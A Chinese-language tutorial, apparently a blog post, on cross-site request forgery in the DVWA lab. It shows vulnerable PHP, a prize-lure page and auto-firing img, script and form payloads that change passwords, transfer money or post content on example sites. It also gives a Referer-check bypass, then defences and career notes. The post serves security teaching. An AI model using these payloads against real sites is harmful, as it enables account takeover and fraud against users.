CSRF跨站请求伪造

漏洞原理

CSRF工作流程:

复制代码
1. 用户登录网站A,获得Cookie
2. 用户访问恶意网站B(未退出A)
3. 网站B构造请求发送到网站A
4. 浏览器自动携带Cookie
5. 网站A认为是合法请求并执行

Low级别攻击

功能分析

复制代码
页面功能:修改密码
请求方式:GET
URL: http://127.0.0.1/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change

后端代码:

php 复制代码
<?php
if(isset($_GET['password_new'])) {
    $pass_new = $_GET['password_new'];
    $pass_conf = $_GET['password_conf'];
    
    if($pass_new == $pass_conf) {
        // 修改密码(无任何验证!)
        $query = "UPDATE users SET password = MD5('$pass_new') WHERE user = 'admin'";
        mysqli_query($conn, $query);
    }
}
?>

漏洞点:

  • 使用GET请求修改密码
  • 无Token验证
  • 无二次确认
  • 无当前密码验证

攻击实施

恶意页面代码:

html 复制代码
<!DOCTYPE html>
<html>
<head>
    <title>您已中奖!</title>
</head>
<body>
    <h1>恭喜您!</h1>
    <p>
        <b>
            <a style="background-color: red; padding: 10px; color: white;" 
               href="http://127.0.0.1/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change">
                点击领取奖品
            </a>
        </b>
    </p>
</body>
</html>

攻击流程:

复制代码
1. 管理员登录DVWA(127.0.0.1)
2. 在同一浏览器打开攻击者网页
3. 点击"点击领取奖品"链接
4. 密码被修改为"hacked"
5. 管理员下次登录失败

自动化攻击:

html 复制代码
<!-- 用户打开页面就自动触发 -->
<img src="http://127.0.0.1/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change" style="display:none">

<!-- 或使用JavaScript -->
<script>
document.location='http://127.0.0.1/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change';
</script>

实际危害场景

金融系统攻击:

html 复制代码
<!-- 转账请求 -->
<img src="http://bank.com/transfer?to=attacker&amount=10000">

社交网络攻击:

html 复制代码
<!-- 关注攻击者 -->
<img src="http://social.com/follow?user=attacker">

<!-- 发布广告内容 -->
<form action="http://social.com/post" method="POST">
    <input name="content" value="广告内容">
</form>
<script>document.forms[0].submit();</script>

电商平台攻击:

html 复制代码
<!-- 修改收货地址 -->
<form action="http://shop.com/address" method="POST">
    <input name="address" value="攻击者地址">
</form>

Medium级别绕过

防护代码:

php 复制代码
if(stripos($_SERVER['HTTP_REFERER'], $_SERVER['SERVER_NAME']) !== false) {
    // 检查Referer头
}

绕过方法:

html 复制代码
<!-- 在攻击者域名中包含目标域名 -->
攻击者域名: 127.0.0.1.attacker.com
或创建子域名: 127-0-0-1.attacker.com

CSRF完整防护方案

1. Token验证(最重要)

php 复制代码
// 生成Token
session_start();
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));

// HTML表单
<input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">

// 验证Token
if($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
    die('CSRF Token验证失败');
}
php 复制代码
setcookie('session', $value, [
    'samesite' => 'Strict',  // 或'Lax'
    'httponly' => true,
    'secure' => true
]);

3. 验证Referer

php 复制代码
$referer = $_SERVER['HTTP_REFERER'] ?? '';
if(strpos($referer, 'https://yourdomain.com') !== 0) {
    die('非法请求来源');
}

4. 二次确认

php 复制代码
// 敏感操作要求输入当前密码
if($_POST['current_password'] !== $user_password) {
    die('当前密码错误');
}

5. 验证码

php 复制代码
// 敏感操作添加验证码
if(!verify_captcha($_POST['captcha'])) {
    die('验证码错误');
}

职业安全建议

网络安全职业现状

行业特点:

  • 相比其他行业,安全岗位裁员较少
  • 外企可能存在合同陷阱(6个月试用期)
  • 技术能力是最好的保障

风险警示:

复制代码
入侵公司系统 → 被安全团队溯源 → 立即辞退 → 法律责任

保命技能

运维工程师必备:

  • Linux/Windows Server管理
  • 服务器架构设计
  • 应急响应能力
  • DOS攻击防护
  • 提权技术理解

开发工程师现状:

  • 普遍缺乏安全意识
  • 99.9%不学习安全知识
  • 成为最大的安全隐患

建议:

  • 技术能力强的开发者学习安全知识
  • 找红队专家审核关键代码
  • 定期进行安全培训
相关推荐
JMchen15 分钟前
【Jetpack 内核实战 01】开篇:Jetpack 组件全家桶核心逻辑与专栏完整规划
android·kotlin·android jetpack
小万74227 分钟前
God‘s Eye View 深度解析:15 路公开信号 + CesiumJS 的浏览器级 OSINT 控制台,60 帧渲染的“真实间谍卫星模拟器”
前端
IT星宿33 分钟前
浏览器标签页全是一个图标:我用名字哈希生成 favicon,让每个项目都有身份标识
前端
全栈项目管理程序猿42 分钟前
ArcGIS JS 基础教程(32):体元系列 - VoxelSlice 体元切片
前端·javascript
骑着蜗牛撵大象3272 小时前
Linux 进程间通信之管道:从 pipe() 的内核语义到 FIFO 落地排错
android·java·linux·系统编程·fifo·管道·进程间通信
hunterandroid3 小时前
Retrofit 网络请求的异常处理与重试策略实战
android
拖孩3 小时前
AI 帮我写的小程序「厨菜记」上线满月了,挣了两百块!!!
前端·后端·微信小程序
用户360055579003 小时前
Kestrel_VLLM - 13 · 为什么排除 MoE FFN Tiling 与 Tensor Core
前端
Hilaku3 小时前
AI 流式输出都用 SSE,什么时候必须换 WebSocket?
前端·javascript·程序员
sejinan3 小时前
极致轻量与秒级起播:NativeWasmTv 开源硬核技术解析与升级版体验
android·开源·webview·tv